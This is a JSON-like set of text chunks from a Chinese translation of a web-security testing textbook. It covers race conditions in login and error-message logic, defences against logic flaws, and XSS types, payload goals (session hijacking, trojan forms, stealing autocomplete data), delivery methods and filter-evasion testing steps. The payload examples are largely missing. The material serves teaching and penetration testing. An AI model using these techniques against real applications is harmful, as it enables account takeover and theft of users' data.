尽管安全顾问经常提出警告，称这种详尽的调试消息可能会被攻击者滥用，但开发者仍然认为它们不会造成任何安全漏洞。通过检查浏览器处理的请求与响应，用户就有可能获得调试消息中包含的所有信息。但是，这些消息中并未包含与实际故障有关的任何细节（如栈跟踪），因此无法帮助攻击者向应用程序发动有效攻击。 3．攻击方法 尽管开发者对调试消息的内容进行了合理保护，但由于他们在创建调试消息时犯下的错误，假设仍然存在缺陷。 当错误发生时，应用程序的一个组件将收集所有必要的信息，并将其保存起来。用户收到一个HTTP重定向，它指向一个显示这些被保存信息的URL。问题在于，在应用程序保存调试信息、用户访问错误消息时，并没有使用会话。相反，调试信息被保存在一个静态容器内，并且错误消息URL总显示最后放入这个容器的信息。因此，开发者认为，使用重定向的用户只会看到与错误有关的调试信息。 实际上，在这种情况下，如果两个错误几乎同时发生，普通用户偶尔会看到与另一名用户造成的错误有关的调试信息。除线程安全问题外（见下一个示例），这并非一个简单的竞态条件。如果攻击者知道错误机制的工作原理，他就可以重复访问消息URL，并记录下所有不同的错误消息。只需短短几个小时，他就可以获得大量应用程序用户的敏感数据： 一组可用在密码猜测攻击中的用户名； 一组可用于劫持会话的会话令牌； 一组用户提交的输入，其中包含密码和其他敏感数据。 因此，错误机制可能会造成严重的安全威胁。由于管理用户有时会收到这类内容详细的错误消息，监控错误消息的攻击者就可以迅速获得足够的信息，从而攻破整个应用程序。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）为探查这种缺陷，首先列出应用程序中可能出现的反常事件和条件，以及以非常规方式向浏览器返回有用的用户信息的情况，如返回调试错误消息。 （2）同时以两名用户的名义使用应用程序，使用一名或两名用户系统性地创造每一个条件，并确定另一名用户是否受到影响。 11.2.12 例12：与登录机制竞赛 最近，这种逻辑缺陷给几个大型应用程序造成了严重威胁。 1．功能 应用程序执行采用一种安全、多阶段的登录机制，要求用户提交几个不同的证书才能获得访问权限。 2．假设 验证机制接受了大量设计审查与渗透测试。应用程序的所有者确信，攻击者无法向验证机制发动有效攻击，从而获得未授权访问。 3．攻击方法 实际上，验证机制存在一个细小的缺陷。有时，顾客登录后，他可以访问另外一名用户的账户，查看该用户的所有金融信息，甚至使用其他用户的账户进行支付。最初，应用程序的行为完全是随机性的：在获得未授权访问之前，用户并没有执行任何非法操作；再次登录时，反常现象也不会重复出现。 经过一些调查，银行发现，如果两个不同的用户在同一时间登录，就会出现错误。而且，并不是每次出现这种情况都会发生错误（仅在少数情况下错误才会发生）。发生这种错误的根本原因在于，应用程序将与新近通过验证的用户有关的标识符临时保存在一个静态（非会话）变量中。改写这个值不久后，应用程序再读取这个变量的值。如果在这个过程中有另外一个线程（处理另一个登录）写入到变量中，早先登录的用户就会分配到属于随后登录的用户的会话。 这种漏洞源于与前面错误消息示例中相同的错误：应用程序使用静态存储保存应根据独立线程或会话保存的信息。然而，由于这类错误不会反复出现，当前示例中的缺陷更难发现，也更难对其加以利用。 这种缺陷叫做“竞态条件”，因为其中的漏洞仅在某些特殊情况下才会出现，而且存在时间很短。由于漏洞仅在短时间内存在，攻击者面临着一次“竞赛”，必须赶在应用程序关闭它之前对其加以利用。如果攻击者是应用程序的本地用户，他就有可能知道竞态条件出现的具体情景，并在有效的时间内利用漏洞。如果攻击者属于远程用户，要想实施攻击就比较困难。 如果远程攻击者了解到这种漏洞的本质，那么他就可以通过使用一段脚本连续进行登录，并查看被访问账户的详细资料，从而设计出有效的攻击方法。但是，由于这种漏洞可被利用的时间极短，攻击者可能需要提交数目庞大的请求。 鉴于以上原因，我们在正常渗透测试过程中没有发现竞态条件也就不足为怪了。只有当应用程序的用户数量足够庞大、可导致反常现象（由顾客上报）发生时，这种条件才会出现。然而，如果对验证与会话管理逻辑进行严格的代码审查，还是有可能发现此类问题。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 进行远程“黑盒测试”查找这类细微的线程安全问题非常麻烦，应被视为一项专门任务，只有极其注重安全的应用程序才需要进行这种测试。 （1）针对选择的关键功能进行测试，如登录机制、密码修改功能与转账过程。 （2）对每一项测试的功能，确定某位用户在执行一项操作时需要提交一个或少数几个请求。同时，找到确定操作结果的最简单方法，例如，核实用户登录后是否能够查看他们自己的账户信息。 （3）使用几台高规格的机器，从不同的网络位置访问应用程序，写出一段攻击脚本，代表几名不同的用户反复执行相同的操作。确定每项操作是否达到预期的结果。 （4）为接收大量错误警报做好准备。根据为应用程序提供支持的基础架构的规模，可能需要对安装的软件进行负载测试。有时，反常现象可能与安全无关。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 11.3 避免逻辑缺陷 就像无法通过明确的特征确定Web应用程序中存在的逻辑缺陷一样，同样也没有能够保护应用程序的万能防御措施。例如，虽然无法找到安全的方法替代危险的API，但是，下面的一系列最佳实践可显著降低在应用程序中出现逻辑缺陷造成的风险。 确保将应用程序各方面的设计信息清楚、详细地记录在文档中，以方便其他人了解设计者做出的每个假设。同时将所有这些假设明确记录在设计文档中。 要求所有源代码提供清楚的注释，包括以下信息： 每个代码组件的用途和预计用法； 每个组件对它无法直接控制的内容做出的假设； 利用组件的所有客户端代码引用，清楚记录它的效果有助于阻止在线注册功能中的逻辑缺陷。（注意：这里的“客户端”不是指客户端一服务器关系中的用户，而是指组件主要依赖的代码。） 在以安全为中心的应用程序设计审核中，考虑在设计过程中做出的每一个假设，并想象假设被违背的每种情况。尤其应注意任何应用程序用户可完全控制的假定条件。 在以安全为中心的代码审查中，从各个角度考虑以下两个因素：应用程序如何处理用户的反常行为和输入；不同代码组件与应用程序功能之间的相互依赖和互操作可能造成的不利影响。 我们可从本章描述的特殊逻辑缺陷实例中汲取以下教训。 始终记住，用户可以控制请求每一个方面的内容（请参阅第1章了解相关内容）。他们可 以按任何顺序访问多阶段功能；他们可以提交应用程序并未要求的参数；他们可以完全省略某些参数，而不仅仅是篡改参数值。 根据会话确定用户的身份与权限（请参阅第8章了解相关内容）。不要根据请求的任何其他特性对用户的权限做出任何假设。 当根据用户提交的数据或者用户执行的操作更新会话数据时，仔细考虑更新后的数据可能会给应用程序的其他功能造成什么影响。注意，这些数据可能会给由其他程序员或其他开发团队编写的完全无关的功能造成意想不到的不利影响。 如果一项搜索功能可用于查询禁止某些用户访问的敏感数据，确保那些用户无法利用该项功能、根据搜索结果推断出有用的信息。如果可以，根据不同的用户权限保留几个搜索索引（search index），或者使用当前用户的权限进行动态信息搜索。 如果一项功能允许用户从审计追踪中删除任何记录，在使用该项功能时应特别小心。另外，在大量使用审计的应用程序与双重授权模型中，考虑一名高级权限用户创建另一个相同权限的用户可能造成的影响。 如果应用程序根据数字交易限额执行检查，在处理用户输入前，必须对所有数据实施严格的规范化与数据确认。如果没有考虑到使用负数的情况，应立即拒绝包含负数的请求。 如果应用程序根据订购商品的数量决定折扣，必须保证在实际应用折扣前确定订单。 如果在将用户提交的数据提交给可能易于受到攻击的应用程序组件前，对其进行转义处理，一定要记得对转义字符本身进行转义，否则整个确认机制可能会遭到破坏。 始终使用适当的存储方法保存与某位用户有关的数据（或者保存在会话中，或者保存在用户资料中）。 黑客攻防技术宝典：Web实战篇（第2版） 11.4 小结 当攻击应用程序的逻辑缺陷时，渗透测试员既要进行系统性地探查，也要从不同的角度思考问题。如前所述，渗透测试员应该始终执行各种关键检查以确定应用程序在收到反常输入后的行为。这类反常输入包括从请求中删除参数、使用强制浏览不按预定顺序访问功能，以及向应用程序的不同位置提交参数。通常，应用程序响应这些操作的方式会反应出一些存在缺陷的假设，不做这些假设就可以避免造成不良后果。 除了这些基本的测试外，在探查逻辑缺陷时面临的最大挑战，是如何深入了解开发者的思维方式。需要了解他们想要达到什么目的、可能会做出什么假设、可能采用哪些捷径、将会犯下什么错误。想象一下，假设完工的最后期限临近，但还主要担心功能而非安全，试图在现有代码中增加一项新功能，或者需要使用其他人编写的质量不佳的API。在那样的情况下，开发者可能会犯什么错误？如何利用这些错误？ 黑客攻防技术宝典：Web实战篇（第2版） 11.5 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）何为强制浏览？可以通过它确定哪些漏洞？ （2）为防止不同类型的攻击，应用程序对用户输入实施各种全局过滤。为防止SQL注入，它将出现在用户输入中的单引号配对。为防止针对一些本地代码组件的缓冲区溢出攻击，它将超长的数据截短到适当的长度。这些过滤有什么问题？ （3）可以采取哪些步骤来探查某登录功能中是否存在故障开放条件？（列出想到的各种不同的测试。） （4）某银行应用程序采用一种非常安全可靠的多阶段登录机制。在第一个阶段，用户输入用户名和密码。在第二个阶段，用户输入在物理令牌上显示的一个不断变化的值，并通过一个隐藏表单字段重新提交前面输入的用户名。 可以立即发现的逻辑缺陷有哪些？ （5）在通过提交专门设计的输入探查一个应用程序中是否存在常见的漏洞时，应用程序频繁返回包含调试信息的详细错误消息。有时，这些消息与其他用户造成的错误有关。这种情况后，就无法令其再次发生。这表示应用程序存在什么逻辑缺陷，接下来该如何处理？"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 第12章 攻击其他用户 绝 大多数针对Web应用程序的攻击主要以服务器端应用程序为攻击目标。当然，许多这类攻击会侵害到其他用户，例如，盗窃其他用户数据的SQL注入攻击。但是，攻击者所使用的基本攻击方法是以无法预料的方式与服务器进行交互的，目的是执行未授权操作并非法访问数据。 本章描述的攻击属于另外一种类型，因为攻击者的主要对象是应用程序的其他用户。服务器端应用程序仍然存在所有相关漏洞；然而，攻击者利用应用程序的一些行为执行针对其他终端用户的恶意操作。这些操作可能会造成一些与前面分析过的攻击相同的后果，如会话劫持、未授权操作和披露个人信息；还可能导致其他恶果，如记录键击或在用户的计算机上执行任意命令。 近年来，软件安全其他领域的关注焦点已逐渐由服务器端攻击转变为客户端攻击。举例来说，Microsoft过去会定期宣布其服务器产品中存在的严重安全漏洞。虽然他们也披露大量客户端缺陷，但这类缺陷很少受到关注；因为对攻击者而言，服务器是一个更具吸引力的目标。仅仅几年内，这种情况就发生显著改变。自Microsoft的IIS 6 Web服务器首次发布以来，人们已经在Microsoft Internet Explorer浏览器中发现了大量漏洞。随着人们对安全威胁意识的普遍增强，软件开发者与黑客之间的前沿战场已经由服务器转向客户端。 虽然Web应用程序安全状况尚未发生上述巨大的转变，但也出现了相同的趋势。20世纪90年代末，因特网上的大多数应用程序中充斥着命令注入之类的严重缺陷，任何攻击者只要具备一点点相关知识，就能够轻易发现并利用这些弱点。尽管许多这种类型的漏洞今天依然存在，但数量逐渐减小并且变得更加难以利用。然而，即使是最为注重安全的应用程序，也仍然包含许多可轻易发现的客户端缺陷。此外，应用程序的服务器端以有限、可控的方式运行，而客户端可使用任意数量的各种浏览器技术（包括各种版本），由此客户端面临大范围可成功实施的攻击向量。 许多年前，各种服务器端漏洞大行其道；如今，随着人们首次谈及会话固定之类的漏洞，客户端漏洞开始成为最近研究的主要焦点。客户端攻击成为以Web安全为报导对象的新闻媒体的主要关注焦点，间谍软件、钓鱼攻击和木马等名词成为许多以前从未听说过SQL注入或路径遍历的新闻记者的口头禅。针对Web应用程序用户的攻击也日益成为有利可图的犯罪行为。如果一家因特网银行拥有1000万个用户，并且不需要熟练的技能，只需要通过相对简单的攻击方法就可以攻破其中1%的用户，那何必还要费神去入侵这家银行呢？ 针对其他应用程序用户的攻击形式各异，它们之间的微妙之处与细微差别常常被人们忽略。 通常，与主要的服务器端攻击相比，人们对这些攻击也知之甚少，即使经验丰富的渗透测试员也会混淆或忽略各种不同的漏洞。本章将描述各种常见的漏洞，并说明渗透测试员在确认并利用这些漏洞时所需采取的实用步骤。 本章主要介绍跨站点脚本（XSS）。这类漏洞导致了针对其他用户的重量级攻击。从某种程度上说，XSS是在Web应用程序中发现的最为普遍的漏洞，困扰着现在绝大多数的应用程序，包括因特网上一些最为注重安全的应用程序，如电子银行使用的应用程序。在下一章中，我们将介绍各种针对用户的其他类型的攻击，其中的一些攻击与XSS非常类似。 错误观点 “用户之所以被攻破，是因为他们没有安全意识。” 从某种程度上说，这种观点是正确的，但是，尽管用户采取了安全防御，一些针对应用程序用户的攻击仍然能够取得成功。保存型XSS攻击能够攻破最具安全意识的用户，而无须与用户进行任何交互。在第13章，我们将介绍许多其他方法，可在用户不知情的情况下攻破具有安全意识的用户。 最初，当XSS在Web应用程序安全社区广为人们所知时，一些专业渗透测试人员倾向于将XSS当做一种“次要”漏洞。这一部分是因为该漏洞在Web应用程序中极为常见，也因为与服务器端命令注入等许多漏洞相比，XSS并不能被独立黑客直接用于攻击应用程序。随着时间的推移，这种观点已发生改变，如今，XSS已被人们视为Web应用程序面临的最主要的安全威胁。随着对客户端攻击的研究不断深入，人们开始讨论各种其他复杂性与利用XSS漏洞的攻击不相上下的攻击。与此同时，现实世界中也出现了大量利用XSS漏洞攻破知名机构的攻击。 通常情况下，XSS是一类主要的应用程序安全缺陷，它常常与其他漏洞一起造成破坏性的后果。有时，XSS攻击也可能转变成某种病毒或能够自我繁殖的蠕虫，这种攻击确实非常严重。 错误观点 “不可能通过XSS控制一个Web应用程序。” 我们曾仅使用XSS攻击控制大量的应用程序。在适当的情况下，技术熟练的攻击者利用XSS漏洞即可完全攻破一个应用程序。下面将说明攻击者如何实施攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 12.1 XSS的分类 XSS漏洞表现为各种形式，并且可分为3种类型：反射型、保存型和基于DOM的XSS漏洞。虽然这些漏洞具有一些相同的特点，但在如何确定及利用这些漏洞方面，仍然存在一些重要的差异。下面我们将分别介绍每一类XSS漏洞。 12.1.1 反射型XSS漏洞 如果一个应用程序使用动态页面向用户显示错误消息，就会造成一种常见的XSS漏洞。通常，该页面会使用一个包含消息文本的参数，并在响应中将这个文本返回给用户。对于开发者而言， 使用这种机制非常方便，因为它允许他们从应用程序中调用一个定制的错误页面，而不需要对错误页面中的消息分别进行硬编码。 例如，下面的URL返回如图12-1所示的错误消息： 图12-1 一条动态生成的错误消息 分析返回页面的HTML源代码后，我们发现，应用程序只是简单复制URL中message参数的值，并将这个值插入到位于适当位置的错误页面模板中： 提取用户提交的输入并将其插入到服务器响应的HTML代码中，这是XSS漏洞的一个明显特征；如果应用程序没有实施任何过滤或净化措施，那么它很容易受到攻击。让我们来看看如何实施攻击。 下面的URL经过专门设计，它用一段生成弹出对话框的JavaScript代码代替错误消息： 请求这个URL将会生成一个HTML页面，其中包含以下替代原始消息的脚本： 可以肯定，如果该页面在用户的浏览器中显示，弹出消息就会出现，如图12-2所示。 图12-2 一次概念验证XSS攻击 进行这个简单的测试有助于澄清两个重要问题：首先，message参数的内容可用任何返回给浏览器的数据替代；其次，无论服务器端应用程序如何处理这些数据（如果有），都无法阻止提交JavaScript代码，一旦错误页面在浏览器中显示，这些代码就会执行。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/5/ 注解 如果在Internet Explorer中尝试这样的示例，弹出窗口可能无法显示，浏览器可能会显示以下消息：“为帮助阻止跨站点脚本，Internet Explorer已修改此页面。"},
    {"text": "如果要测试这些示例，可以尝试使用其他未使用这种保护机制的浏览器，或者通过以下方式禁用XSS筛选器：“工具” → “Internet选项” → “安全” → “自定义级别”，在“启用XSS筛选器”下选择“禁用”。"},
    {"text": "图12-3 反射型XSS攻击的实施步骤 （1）用户正常登录应用程序，得到一个包含会话令牌的cookie: （2）攻击者通过某种方法（详情见下文）向用户提交以下URL: 和前面生成一个对话框消息的示例一样，这个URL包含嵌入式JavaScript代码。"},
    {"text": "完成上述步骤后，读者可能会心存疑惑：如果攻击者能够诱使用户访问他选择的URL，那么他为什么还要费这么大力气通过应用程序中的XSS漏洞传送自己的恶意JavaScript代码呢？"},
    {"text": "就用户的浏览器而言，利用XSS漏洞的攻击之所以取得成功，是因为攻击者的恶意JavaScript是由mdsec.net送交给它的。 当用户请求攻击者的URL时，浏览器向http://mdsec.net/error/5/Error.ashx提交一个请求，然后应用程序返回一个包含一段JavaScript的页面。"},
    {"text": "如果一名用户提交的数据被保存在应用程序中（通常保存在一个后端数据库中），然后不经适当过滤或净化就显示给其他用户，此时就会出现这种漏洞。"},
    {"text": "在支持终端用户交互的应用程序中，或者在具有管理权限的员工访问同一个应用程序中的用户记录和数据的应用程序中，保存型XSS漏洞很常见。"},
    {"text": "如果一名用户能够提出一个包含嵌入式JavaScript的问题，而且应用程序并不过滤或净化这个JavaScript，那么攻击者就可以提出一个专门设计的问题，在任何查看该问题的用户（包括卖家和潜在的买家）的浏览器中执行任意脚本。"},
    {"text": "攻击者在第一个请求中传送一些专门设计的数据，其中包含恶意代码，应用程序接受并保存这些数据。 在第二个请求中，一名受害者查看某个包含攻击者的数据的页面，这时恶意代码开始执行。"},
    {"text": "） 图12-4说明了一名攻击者如何利用保存型XSS漏洞，实施上述利用反射型XSS漏洞实施的相同会话劫持攻击。 图12-4 保存型XSS漏洞的实施步骤"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 本示例包含一项搜索功能，可用于显示当前用户输入的查询，以及其他用户最近输入的查询列表。由于查询将按原样显示，应用程序将易于受到反射型和保存型XSS攻击。看看是否能够找到这两种漏洞。 http://mdsec.net/search/11/ 反射型与保存型XSS攻击在实施步骤上存在两个重要的区别，这也使得后者往往造成更大的安全威胁。 首先，在反射型XSS脚本攻击中，要利用一个漏洞，攻击者必须以某种方式诱使受害者访问他专门设计的URL。而保存型XSS脚本攻击则没有这种要求。在应用程序中展开攻击后，攻击者只需要等待受害者浏览已被攻破的页面或功能。通常，这个页面是一个正常用户将会主动访问的常规页面。 其次，如果受害者在遭受攻击时正在使用应用程序，攻击者就更容易实现其利用XSS漏洞的目的。例如，如果用户当前正在进行会话，那么攻击者就可以劫持这个会话。在反射型XSS攻击中，攻击者可能会说服用户登录，然后单击他们提供的一个链接，从而制造这种情况。或者他可能会部署一个永久性的有效载荷并等待用户登录。但是，在保存型XSS攻击中，攻击者能够保证，受害用户在他实施攻击时已经在访问应用程序。因为攻击有效载荷被保存在用户自主访问的一个应用程序页面中，所以，当有效载荷执行时，任何攻击受害者都在使用应用程序。而且，如果上述页面位于应用程序通过验证的区域内，那么那时攻击受害者一定已经登录。 反射型与保存型XSS攻击之间的这些区别意味着保存型XSS漏洞往往会给应用程序带来更严 重的安全威胁。许多时候，攻击者可以向应用程序提交一些专门设计的数据，然后等待受害者访问它们。如果其中一名受害者是管理员，那么攻击者就能够完全攻破整个应用程序。 12.1.3 基于DOM的XSS漏洞 反射型和保存型XSS漏洞都表现出一种特殊的行为模式，其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。第三类XSS漏洞并不具有这种特点。在这种漏洞中，攻击者的JavaScript通过以下过程得以执行。 用户请求一个经过专门设计的URL，它由攻击者提交，且其中包含嵌入式JavaScript。 服务器的响应中并不以任何形式包含攻击者的脚本。 当用户的浏览器处理这个响应时，上述脚本得以处理。 这一系列事件如何发生呢？由于客户端JavaScript可以访问浏览器的文本对象模型（Document Object Model，DOM），因此它能够决定用于加载当前页面的URL。由应用程序发布的一段脚本可以从URL中提取数据，对这些数据进行处理，然后用它动态更新页面的内容。如果这样，应用程序就可能易于受到基于DOM的XSS攻击。 回到前面的反射型XSS漏洞中的示例，其中服务器端应用程序将一个URL参数值复制到一条错误消息中。另一种实现相同功能的办法是由应用程序每次返回相同的静态HTML，并使用客户端JavaScript动态生成消息内容。 例如，假设应用程序返回的错误页面包含以下脚本： 这段脚本解析URL，提取出message参数的值，并把这个值写入页面的HTML源代码中。如果按开发者预想的方式调用，它可以和前面的示例中一样，用于创建错误消息。但是，如果攻击者设计出一个URL，并以JavaScript代码作为message参数，那么这段代码将被动态写入页面中，并像服务器返回代码一样得以执行。在这个示例中，前面示例中利用反射型XSS漏洞的同一个URL也可用于生成一个对话框： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/error/18/ 利用基于DOM的XSS漏洞的过程如图12-5所示。 图12-5 基于DOM的XSS攻击的实施步骤 与保存型XSS漏洞相比，基于DOM的XSS漏洞与反射型XSS漏洞有更大的相似性。利用它们通常需要攻击者诱使一名用户访问一个包含恶意代码的专门设计的URL，并由服务器响应那个确 保得恶意代码得以执行的特殊请求。但是，在利用反射型与基于DOM的XSS漏洞的细节方面，还存在一些重要的差异，这点我们在稍后讨论。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 12.2 进行中的XSS攻击 要了解XSS漏洞导致的严重后果，有必要分析一些真实的XSS攻击示例，这有助于我们了解XSS攻击能够执行的各种恶意操作，以及如何针对受害者实施这类攻击。"},
    {"text": "通过这种方法，攻击者确定一些在基础架构的其他系统中重复使用的密码，并完全攻破这些系统，将攻击范围扩展到易受攻击的Web应用程序之外。"},
    {"text": "虽然MySpace的应用程序实施了过滤，防止用户在他们的用户资料页面嵌入JavaScript脚本，但是，一位名叫Samy的用户找 到了一种避开这些过滤的方法，并在用户资料页面中插入了一些JavaScript脚本。"},
    {"text": "有关此次攻击的详细信息，请参阅以下URL： http://blogs.zdnet.com/security/?p=3514 2009年，Twitter成为了两个XSS蠕虫的受害者，这两个蠕虫利用保存型XSS漏洞在Twitter用户间进行传播，并发布推文来宣传蠕虫作者的网站。"},
    {"text": "有关这些漏洞的详细信息，请参阅以下URL： www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-andsomething.html 12.2.2 XSS攻击有效载荷 迄今为止，我们已经重点分析了典型的XSS攻击有效载荷，如截获一名受害者的会话令牌，劫持他的会话，进而“作为”受害者使用应用程序，执行任意操作并占有该用户的账户。"},
    {"text": "这种攻击被称为虚拟置换（virtual defacement），因为攻击者实际上并没有修改保存在目标Web服务器上的内容，而是利用应用程序处理并显示用户提交的输入方面的缺陷实现置换。"},
    {"text": "一个专门设计的置换，如果以可信的方式传送给适当的接受者，可能会被新闻媒体报导，对人们的行为、股票价格等造成重大影响，从而帮助攻击者从中获得经济利益，如图12-6所示。"},
    {"text": "图12-6 一次利用XSS漏洞的虚拟置换攻击 2．注入木马功能 这种攻击造成的后果远比虚拟置换严重，它在易受攻击的应用程序中注入实际运行的功能，旨在欺骗终端用户执行某种有害操作（如输入敏感数据），随后将它们传送给攻击者。"},
    {"text": "图12-7 一次注入木马功能的反射型XSS攻击 由于这些攻击中的URL指向真实应用程序的可信域名，如果在必要时使用有效的SSL证书，它们就比纯粹的钓鱼Web站点更有可能说服受害者提交敏感信息；"},
    {"text": "一种更加有效的方法是，诱使每个被攻破的用户尝试升级攻击者账户的权限。 大多数尝试都会失败，但如果一个管理用户被攻破，攻击者就能够成功提升他的权限。"},
    {"text": "如果攻击者的主要目标为应用程序，并且希望在攻击时尽可能地保持隐秘，他就可以利用这种类型的XSS攻击有效载荷让其他用户执行他选择的、针对应用程序的恶意操作。"},
    {"text": "如果应用程序采用激活自动完成功能的表单，由应用程序提交的JavaScript就可以截获任何以前输入的、用户浏览器保存在自动完成缓存中的数据。 通过示例化相关表单，等待浏览器自动完成它的内容，然后查询表单字段值，上述JavaScript脚本就能够窃取这些数据并将其传送至攻击者的服务器。"},
    {"text": "1．传送反射型与基于DOM的XSS攻击 除了通过电子邮件向随机用户大量发送专门设计的URL这种明显的钓鱼向量外，攻击者还可以尝试使用以下机制传送反射型或基于DOM的XSS攻击。"},
    {"text": "如果可以使用GET方法触发XSS漏洞，攻击者就可以在第三方站点上发布一个指向某恶意URL的IMG标 签，任何查看以上第三方内容的用户将在不知情的情况下请求该恶意URL。"},
    {"text": "或者，攻击者可以创建自己的Web站点，在其中包含诱使用户访问的有趣内容，但也可能含有一些脚本，导致用户的浏览器向易受攻击的应用程序提出包含XSS有效载荷的请求。"},
    {"text": "建立适当的Web站点后，攻击者可以使用搜索引擎操纵技巧生成某些用户提交的访问，例如，将相关关键字放入站点内容中并使用相关表达式将其链接到相关站点。"},
    {"text": "在另一种利用第三方Web站点的攻击中，一些攻击者付费购买许多链接至一个URL的横幅广告，该URL中包含一个针对某易受攻击的应用程序的XSS有效载荷。"},
    {"text": "因为许多提供商使用关键字将广告分配给与其有关的页面，有时就会出现这样的情况：一个攻击特定应用程序的广告恰巧被分配在这个应用程序的页面中。"},
    {"text": "攻击者能够利用这种功能，通过一封实际源自自己服务器的电子邮件传送XSS攻击，提高邮件被技术熟练的用户与反恶意软件的软件接受的可能性。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 12.3 查找并利用XSS漏洞 确定XSS漏洞的基本方法是使用下面这个概念验证攻击字符串： 这个字符串被提交给每个应用程序页面中的每一个参数；同时，攻击者监控它的响应，看其中是否出现相同的字符串。如果发现攻击字符串按原样出现在响应中，几乎可以肯定应用程序存在XSS漏洞。 如果仅仅是为了尽可能快地确定应用程序中存在的某种XSS漏洞，以向其他应用程序用户实施攻击，那么这个基本方法可能是最为有效的方法，因为它可以实现高度自动化，而且很少生成错误警报。但是，如果是对应用程序进行复杂的测试，从而确定尽可能多的漏洞，那么在应用基本方法的同时，还需要组合使用更加复杂的技巧。在以下几种情况下，通过基本的检测方法可能无法确定应用程序中存在的XSS漏洞。 许多应用程序实施基于黑名单的初步过滤，试图阻止XSS攻击。通常，这些过滤在请求参数中寻找<script>之类的表达式，并采取一些防御措施，如删除或编码表达式，或者完全阻止这类请求。基本检测方法中常用的攻击字符串往往被这些过滤阻止。但是，仅仅因为一个常见的攻击字符串被阻止，并不能证明一个可利用的漏洞不存在。如后文所述，在有些情况下，不使用<script>标签，甚至不使用\"< >和/这些常被过滤掉的字符，也可以利用XSS漏洞。 许多应用程序实施的防XSS过滤存在缺陷，可以通过各种方法避开。例如，假设在处理用户输入前，应用程序删除其中出现的所有<script>标签。这意味着基本方法中使用的攻击字符串将不会在应用程序的响应中返回。但是，以下一个或几个字符串可轻易避开过滤，成功利用XSS漏洞： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/search/28/ http://mdsec.net/search/36/ http://mdsec.net/search/21/ 注意，在这些情况下，在服务器的响应中，输入的字符串返回前，可能经过净化、编码或其他形式的修改，因而还不足以实现对XSS漏洞的利用。这时，提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法将无法成功发现漏洞。 当利用基于DOM的XSS漏洞时，攻击有效载荷并不在服务器的响应中返回，而是保存在浏览器DOM中，并可被客户端JavaScript访问。同样，在这种情况下，提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法将无法成功发现漏洞。 12.3.1 查找并利用反射型XSS漏洞 要探查反射型XSS漏洞，最可靠的方法是系统性地检查在解析应用程序（请参阅第4章）过程中确定的所有用户输入进入点，并遵循以下步骤。 在每个进入点提交一个良性字母字符串。 确定此字符串“反射”在应用程序响应中的所有位置。 对于每个反射，确定显示反射型数据时的语法上下文。 提交针对反射的语法上下文而修改的数据，尝试在响应中引入任意脚本。 如果反射型数据被阻止或净化，导致脚本无法执行，则尝试了解并避开应用程序的防御性过滤。 1．确认用户输入的反射 检测反射型XSS漏洞的最可靠方法的初始步骤与前面描述的基本方法类似。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）选择任意一个字符串，该字符串不曾出现在应用程序的任何地方，而且其中仅包含字母字符，因此不可能受到针对XSS过滤的影响。例如： 提交这个字符串，以其作为每个页面的每一个参数，且每次只针对一个参数。 （2）监控应用程序的响应，看其中是否出现同一个字符串。记下参数值被复制到应用程序响应中的每一个参数。这些参数不一定容易受到攻击，但需要对它们进行深入分析，其过程将在后文中描述。 （3）注意，必须测试所有GET与POST请求，检查URL查询字符串与消息主体中的每一个参数。虽然有少数XSS漏洞传送机制只能通过一个POST请求触发，但仍有可能对漏洞加以利用，如前文所述。 （4）任何时候，一旦在POST请求中发现XSS，应使用Burp中的“更改请求方法”（change request method）选项确定是否可以通过GET请求实施相同的攻击。 （5）除标准的请求参数外，还应该检测HTTP请求消息头内容被应用程序处理的每一种情况。有一种常见的XSS漏洞出现在错误消息中，这时Referer与User-Agent消息头之类的数据项被复制到消息的内容中。这些消息头是传送反射型XSS攻击的有效工具，因为攻击者可以使用一个Flash对象诱使受害者提出一个包含任意HTTP消息头的请求。 2．测试引入脚本的反射 渗透测试员必须手动检查已确定的每一个反射型输入实例，以核实其是否确实可被利用。在响应中包含反射型数据的每个位置，都需要确认该数据的语法特点。这时，渗透测试员必须找到某种修改输入的方法，以便在将输入复制到应用程序响应中的相同位置时，任何脚本都能够得以 执行。下面分析这方面的一些示例。 例1：标签属性值 假设返回的页面中包含以下脚本： 很明显，利用XSS的一种方法是终止包含字符串的双引号，结束<input>标签，然后通过其他方法引入JavaScript脚本（使用<script>等）。例如： 在这种情况下，另一种可以避开某些输入过滤的利用方法，是在<input>标签内注入一个包含JavaScript的事件处理器。例如： 例2： JavaScript字符串 假设返回的页面中包含以下脚本： 这时，受控制的字符串被直接插入到现有的一段脚本中。要利用XSS，可以终止字符串周围的单引号，用一个分号终止整个语句，然后直接处理想要执行的JavaScript。例如： 注意，因为已经终止了一个被引用的字符串，为阻止JavaScript解释器出现错误，必须在注入的代码后使用有效的语法确保脚本继续正常执行。在这个示例中，变量foo被声明，另一个引用字符串被打开，它们将被紧随在字符串后面的代码终止。另一种经常有效的方法是使用//结束输入，将剩下的脚本当做注释处理。 例3：包含URL的特性 假设返回的页面中包含以下脚本： 这时，受控制的字符串插入到一个<a>标签的href属性中。在一些浏览器中，这个属性可能包含一个使用javascript:协议的URL，从而可以使用以下脚本直接利用XSS： 如前所述，因为输入将反射到标签属性中，因此这时还可以注入一个事件处理器。 要向当前所有的浏览器实施攻击，可以同时使用一个无效的图像名称与一个onerror事件处理器： 提示 和其他攻击一样，渗透测试员必须对请求中出现的任何特殊字符进行URL编码，包括& = + ；和空格。"},
